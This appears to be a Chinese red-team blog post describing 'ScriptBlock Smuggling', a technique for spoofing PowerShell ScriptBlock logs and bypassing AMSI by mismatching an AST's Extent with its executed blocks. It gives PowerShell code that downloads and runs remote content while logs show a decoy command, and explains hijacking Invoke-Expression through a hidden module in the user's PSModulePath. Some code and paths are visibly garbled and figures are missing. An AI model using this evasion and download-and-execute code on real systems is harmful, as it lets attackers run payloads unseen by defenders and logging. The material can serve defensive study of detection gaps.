免责声明:
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
近年来,PowerShell 间谍技术在渗透测试人员、红队以及某种程度上的 APT 中的受欢迎程度有所下降。造成这种情况的原因有很多,但最核心的原因是PowerShell v5和 AMSI 中引入了 PowerShell 安全日志记录。这为蓝队提供了重要的工具来对抗来自 PowerShell 的威胁。自从这些推出以来,已经出现了几种 AMSI 绕过方法,例如 Matt Grabber 的反射绕过或 Rastamouse 对AmsiScanBuffer的修补,并且已经发布了少量 ScriptBlock 日志记录绕过方法,例如 Cobbr 的ScriptBlock Logging Bypass。但这些都涉及完全禁用日志记录。到目前为止,还没有一种方法可以伪造这些日志。ScriptBlock Smuggling 允许攻击者在绕过 AMSI 的同时将任意消息伪造到 ScriptBlock 日志中。更有趣的是,它也不需要执行任何反射或内存修补。特别是 AMSI 修补已经开始成为许多 AV 和 EDR 解决方案的目标,因此这是该技术的一个主要优势。
在我们详细了解 ScriptBlock Smuggling 的工作原理之前,我们需要概述 PowerShell 如何利用 AST 以及 AST 的简要含义。无需深入研究编译器和代码背后的计算机科学,AST 是一种树状结构,编译器根据源代码创建该结构以便能够创建机器代码。如果您的源代码如下所示:
while b ≠0:
if a > b:
a = a − b
else
b = b − a
return a
然后,编译器会将其转换为如下所示的形式:
所有语言编译器都以这种方式工作,当您在 PowerShell 中创建 ScriptBlock 时也不例外。所有 PowerShell AST 的父节点都是 ScriptBlock AST,此对象除了树的子节点之外还包含许多属性。这些属性之一是 Extent ,就我们的目的而言,可以将其视为 ScriptBlock 的字符串表示形式。尽管它确实有一些其他属性:
那么,这对 PowerShell 中的安全功能有何重要性?如果我们查看PowerShell GitHub中的代码,我们会在CompiledScriptBlock.cs中发现一些有趣的代码片段:
PowerShell 仅使用 ScriptBlock 的范围来生成日志
owerShell 仅将 ScriptBlock 的范围发送给 AMSI
事实证明,PowerShell 中的所有安全功能都只传递 ScriptBlock 的 Extent,而不会传递任何其他内容。这很有趣,但考虑到每当我们通过在 {} 中包装代码或使用[ScriptBlock]::create()创建ScriptBlock 时,AST 和随后的 Extent 都会自动生成,那么如何利用这些信息呢?好吧,事实证明我们实际上可以使用以下方法自己构建 AST:
[System.Management.Automation.Language.ScriptBlockAst]::new($Extent,
$ParamBlock,
$BeginBlock,
$ProcessBlock,
$EndBlock,
$DynamicParamBlock
)
更有趣的是,没有任何东西可以强制 Extent 与 AST 的 BeginBlock、ProcessBlock 或 EndBlock 匹配。这些块实际上是 AST 中包含可执行代码的地方。因此,如果我们可以创建这些块与 Extent 之间的不匹配,那么理论上我们应该能够执行代码,并且日志看起来不同。我们可以手动构建每个块,但在这里,我们将采用更简单的方法,即构建两个 ScriptBlock,然后从它们的组件构建第三个。
这里,我们只是创建了一个简单的欺骗,日志显示Write-Output 'Hello',而实际执行的代码是Write-Output 'World'。然而,这表明我们上面理论的影响确实成立。显然,此代码也会显示在日志中,ScriptBlocks 直到第一次执行时才被记录下来。示例代码可以修改为:
$wc=New-ObjectSystem.Net.WebClient
$SpoofedAst =[ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst =[ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast =[System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
$null,
$null,
$null
ExecutedAst.EndBlock.Copy(),
$null)
$Sb = $Ast.GetScriptBlock()
并且执行的代码永远不会被日志或 AMSI 观察到。或者,我们可以像这样在 C# 中构建 ScriptBlocks:
然后可以执行 PowerShell 代码:
此示例执行Write-Output 'amsicontext',这演示了无需任何修补或反射即可绕过 AMSI 的能力。当我们运行代码时,我们可以检查日志并看到它仅再次显示Write-Output Hello。附带说明一下,出于某种原因,使用ps.addcommand不会导致生成和执行日志,但使用ps.addscript确实会按预期生成日志。
那么我们可以用它做什么呢?它可以用作基本的 AMSI 绕过,但也可能做更有趣的事情,比如命令挂钩。构建 PowerShell Cmdlet 非常容易,事实证明,当 Cmdlet 和模块之间存在名称冲突时,PowerShell 会优先使用较新的模块。也就是说,如果我们将 Cmdlet 命名为“Invoke-Expression”并将其放在 PSModulePath 位置之一,那么任何时候用户调用 Invoke-Expression,都会调用我们的 cmdlet。两个默认的 PSModulePath 是:
C:Users<用户名>DocumentsWindowsPowerShellModules
C:Program FilesWindowsPowerShellModules
第一个只会影响当前用户,但文件夹可以隐藏并仍然有效,使用户不太可能注意到。不幸的是,第二个至少需要本地管理员权限,因此用处不大。为了让 PowerShell 拾取您的模块,您需要创建一个与您的模块 DLL 同名的文件夹,然后将 dll 放在那里。
然后,下次他们执行 Invoke-Expression 时,他们的代码将表现不同,而日志看起来就像他们想要执行的代码。
就是这样!ScriptBlock Smuggling 可让您伪造 PowerShell 安全日志,同时绕过 AMSI。此问题已向 Microsoft 披露,但已关闭,未采取进一步行动。
打个广子
我们拥有专业的团队,可承接渗透测试,攻防演练,应急响应、钓鱼演练、ctf培训等比赛项目
原文始发于微信公众号(影域实验室):红队技术--ScriptBlock 走私:欺骗 PowerShell 安全日志并绕过 AMSI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论